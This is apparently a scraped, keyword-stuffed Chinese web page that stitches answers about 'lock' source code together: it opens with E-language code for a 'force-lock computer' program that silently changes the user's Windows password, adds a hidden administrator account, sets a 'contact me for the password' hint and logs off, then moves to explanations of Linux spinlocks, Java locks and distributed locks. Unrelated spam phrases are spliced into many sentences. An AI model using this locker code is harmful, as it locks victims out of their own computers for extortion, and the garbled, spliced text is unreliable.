1.谁有易语言强制锁电脑的电脑源码
2.易语言锁机源码
3.锁机源码怎么用
4.spinlock（linux kernel 自旋锁）
5.java中的各种锁详细介绍
6.源码分析： Java中锁的种类与特性详解
谁有易语言强制锁电脑的源码
.版本 2
.支持库 shell
.子程序 __启动窗口_创建完毕
.局部变量 用户名, 文本型
.局部变量 密码, 文本型
用户名 ＝ “想知道密码联系” ' 这里设置你的用户名,中间不要加任何标点符号.
密码 ＝ “” ' 这里设置密码
运行 (“net user ” ＋ 读环境变量 (“username”) ＋ “ ” ＋ 密码, 假, ) ' 先把原密码改掉
运行 (“net user ” ＋ 用户名 ＋ “ ” ＋ 密码 ＋ “ /add”, 假, ) ' 添加一个用户
运行 (“net localgroup administrators ” ＋ 用户名 ＋ “ /add”, 假, ) ' 把这个用户添加的超级管理员组中
写注册项 (4, “SOFTWARE\Microsoft\Windows\CurrentVersion\Hints\” ＋ 用户名, 用户名) ' 这里是后面显示那个帮助提示.
关闭系统 (3, 真) ' 注销系统帐号,桌面返回到登陆界面.
结束 ()
易语言锁机源码
运行("net user Administrator 密码",假,#隐藏窗口) 运行("net user 用户名 密码 /add",假,#隐藏窗口) 运行("net user administrators 同上用户名 /add",假,#隐藏窗口) 这段代码，就OK了 用户名-账号名称，源码密码-你想设定的锁电密码，同上用户名-第二句代码中的脑锁用户名 自己改变一下 以此类推 ，要关机的机源话，加上： 关闭系统(#关机,电脑2018王者荣耀源码真)
锁机源码怎么用
下个VC++6.0 或者vs 以上的c/c++编译器
打开那个后缀为.cpp的文件
然后编译运行连接 vc6中按ctrl+F5 vs中 先按F7 再按F5
就会产生.exe的可执行程序了.
spinlock（linux kernel 自旋锁）
"锁"的使命在于保护临界资源，防止多CPU同时访问相同变量，源码避免数据一致性问题。锁电非原子变量的脑锁修改无法在单指令周期内完成，若CPU1更改变量中途，机源CPU2访问该半成品变量，电脑可能导致严重后果。源码解决方法是锁电CPU1在修改变量前先"加锁"，CPU2在访问变量前也加锁，脑锁由于已经被加锁，机源CPU2将原地等待锁释放。CPU1完成修改后"解锁"，CPU2获取锁后加锁访问变量，完成后解锁。自旋锁（spinlock）与信号量、互斥锁不同，等待锁释放时不睡眠，而是自旋。不睡眠的优点是适用于中断上下文运行，且对于快速获取锁的场景效率更高。缺点是养猪 游戏 源码长时间等待锁释放会浪费大量CPU资源。
spinlock适用于中断上下文和进程上下文，因此在内核中广泛应用。内核开发者关注其执行效率，spinlock方案经历了多次优化。简单介绍如下：
首先，理解锁的优化，要从一个线程加锁，一千个线程等待锁的极端场景出发。有三种常见模式：
1. CAS模式（Compare And Swap）：
通过原子变量控制。加锁时，获取变量为1，获取锁后修改为0。解锁时，将变量修改回1。优点是简单易懂，但存在竞争随机性，等待时间不确定。
2. Ticket模式：
解决CAS模式的随机竞争问题。锁包含tail值，加锁时保存本地变量，将tail+1，与锁的head对比，若相等则持有锁。解锁时，将head+1，源码短语翻译所有等待的线程重新读取内存，确认是否轮到自己持有锁。优点是实现公平，先到先得，但浪费CPU资源。
3.MCS模式（Mellor-Crummey and Scott）：
解决Ticket模式的CPU浪费问题。使用单向链表实现顺序通知，效率更高，但结构体中使用指针，占用内存空间。MCS相比Ticket多出4字节内存，但自旋锁在内核中频繁使用，追求极致效率的开发者不能容忍这种浪费。
最终形态为qspinlock，基于MCS模式改进，节省内存开销，保持高效执行。使用步骤包括包含头文件、定义自旋锁、初始化、加锁解锁。API适应中断嵌套和进程混合加锁，不考虑中断抢占时有其他接口。源码路径包括kernel\locking\spinlock.c、kernel\locking\qspinlock.c和include\linux\spinlock.h。源码替换域名原理阐述较多，代码解析不多，简单查看spin的层级即可。spinlock方案的演进对开发者无感，内核开发者可以轻松升级spin方案。更多内容请参阅RTFSC专栏。
java中的各种锁详细介绍
Java提供了多种锁以满足不同的并发需求，这些锁的特性各异，适用于不同的场景。本文旨在概述锁的源码（JDK 8版本），并举例说明使用场景，帮助读者理解锁的知识点以及不同锁的适用情况。接下来，我们将按照以下结构进行分类介绍：乐观锁 vs 悲观锁、自旋锁 vs 适应性自旋锁、无锁 vs 偏向锁 vs 轻量级锁 vs 重量级锁、公平锁 vs 非公平锁、可重入锁 vs 非可重入锁、独享锁 vs 共享锁。乐观锁 vs 悲观锁
乐观锁与悲观锁基于对并发操作的预设不同。悲观锁假设并发操作中一定会出现数据修改，因此在获取数据时会先加锁，以防止数据被修改。在Java中，synchronized关键字和Lock接口的数字营销源码实现类多采用悲观锁策略。相反，乐观锁假设并发操作中不会修改数据，只在尝试修改数据时检查数据是否已被修改，若数据未被修改则成功完成操作，否则根据情况采取不同的策略。自旋锁 vs 适应性自旋锁
自旋锁是一种在无需阻塞线程的情况下，通过循环检查条件来尝试获取锁的机制。当锁长时间未被释放时，自旋锁会导致线程持续消耗处理器资源，因此引入了适应性自旋锁。适应性自旋锁会根据前一次自旋等待的时间和锁的持有者状态来决定是否继续自旋或立即阻塞线程。无锁 vs 偏向锁 vs 轻量级锁 vs 重量级锁
锁的状态从无锁升级到重量级锁，主要依据锁的竞争情况和锁的状态。无锁允许所有线程同时访问资源，但只有一个线程能修改成功。偏向锁是为单线程操作而优化的锁，可以避免不必要的锁操作。轻量级锁在偏向锁被其他线程尝试访问时升级，通过自旋和CAS操作尝试获取锁。重量级锁则在多线程竞争时，通过阻塞等待线程来获取锁。公平锁 vs 非公平锁
公平锁按照申请锁的顺序为线程分配锁，确保等待的线程不会饿死，但可能降低整体吞吐效率。非公平锁则直接尝试获取锁，可能导致后申请锁的线程先获取到锁，从而提高吞吐效率，但存在饿死等待线程的风险。可重入锁 vs 非可重入锁
可重入锁允许线程在嵌套调用时重复获取同一锁，避免死锁。非可重入锁不允许重复获取同一锁，可能导致死锁情况。独享锁 vs 共享锁
独享锁一次只能被一个线程持有，允许多线程同时读取数据但不允许写操作。共享锁则允许多个线程同时读取数据，但不允许写操作，以提高并发读取效率。通过以上分类介绍，我们可以更直观地理解Java中锁的特性和适用场景。不同锁的设计旨在解决特定的并发问题，选择合适的锁类型可以显著提升程序的性能和稳定性。
源码分析： Java中锁的种类与特性详解
在Java中存在多种锁，包括ReentrantLock、Synchronized等，它们根据特性与使用场景可划分为多种类型，如乐观锁与悲观锁、可重入锁与不可重入锁等。本文将结合源码深入分析这些锁的设计思想与应用场景。
锁存在的意义在于保护资源，防止多线程访问同步资源时出现预期之外的错误。举例来说，当张三操作同一张银行卡进行转账，如果银行不锁定账户余额，可能会导致两笔转账同时成功，违背用户意图。因此，在多线程环境下，锁机制是必要的。
乐观锁认为访问资源时不会立即加锁，仅在获取失败时重试，通常适用于竞争频率不高的场景。乐观锁可能影响系统性能，故在竞争激烈的场景下不建议使用。Java中的乐观锁实现方式多基于CAS（比较并交换）操作，如AQS的锁、ReentrantLock、CountDownLatch、Semaphore等。CAS类实现不能完全保证线程安全，使用时需注意版本号管理等潜在问题。
悲观锁则始终在访问同步资源前加锁，确保无其他线程干预。ReentrantLock、Synchronized等都是典型的悲观锁实现。
自旋锁与自适应自旋锁是另一种锁机制。自旋锁在获取锁失败时采用循环等待策略，避免阻塞线程。自适应自旋锁则根据前一次自旋结果动态调整等待时间，提高效率。
无锁、偏向锁、轻量级锁与重量级锁是Synchronized的锁状态，从无锁到重量级锁，锁的竞争程度与性能逐渐增加。Java对象头包含了Mark Word与Klass Pointer，Mark Word存储对象状态信息，而Klass Pointer指向类元数据。
Monitor是实现线程同步的关键，与底层操作系统的Mutex Lock相互依赖。Synchronized通过Monitor实现，其效率在JDK 6前较低，但JDK 6引入了偏向锁与轻量级锁优化性能。
公平锁与非公平锁决定了锁的分配顺序。公平锁遵循申请顺序，非公平锁则允许插队，提高锁获取效率。
可重入锁允许线程在获取锁的同一节点多次获取锁，而不可重入锁不允许。共享锁与独占锁是另一种锁分类，前者允许多个线程共享资源，后者则确保资源的独占性。
本文通过源码分析，详细介绍了Java锁的种类与特性，以及它们在不同场景下的应用。了解这些机制对于多线程编程至关重要。此外，还有多种机制如volatile关键字、原子类以及线程安全的集合类等，需要根据具体场景逐步掌握。
分布式锁技术探究 - Redisson & curator 源码解读
在高并发场景中，为解决资源竞争和共享问题，引入了分布式锁，衍生出可重入锁、读写锁等。随着服务架构的分布式化，这些并发问题扩展到了分布式场景，业务中需要分布式锁和分布式AQS来确保资源管理。
分布式锁的实现方式多样，如基于Redis的Redisson和Zookeeper的Curator。Redisson利用redLock算法避免主从复制导致的重复加锁，但存在单点故障问题。Curator则依赖zk的临时顺序节点实现锁，提供了一种更健壮的解决方案。
要选择分布式锁，需关注其基本特性，如高可用性、线程安全、可重入性、锁的公平性等。Redisson的锁模型通过lua脚本保证原子性和公平性，而Curator的zk实现则利用watcher机制实现公平锁。
Redisson提供更丰富的功能，如可重入锁、读写锁，以及通过lua脚本实现的高级特性。而zk的zk锁模型更为简单，公平性较好，适用于对强一致性要求较低的场景。
总结来说，选择哪种分布式锁取决于业务需求和性能要求，Redisson适合竞争激烈但对一致性要求不高的场景，而zk在强一致性方面更有优势。
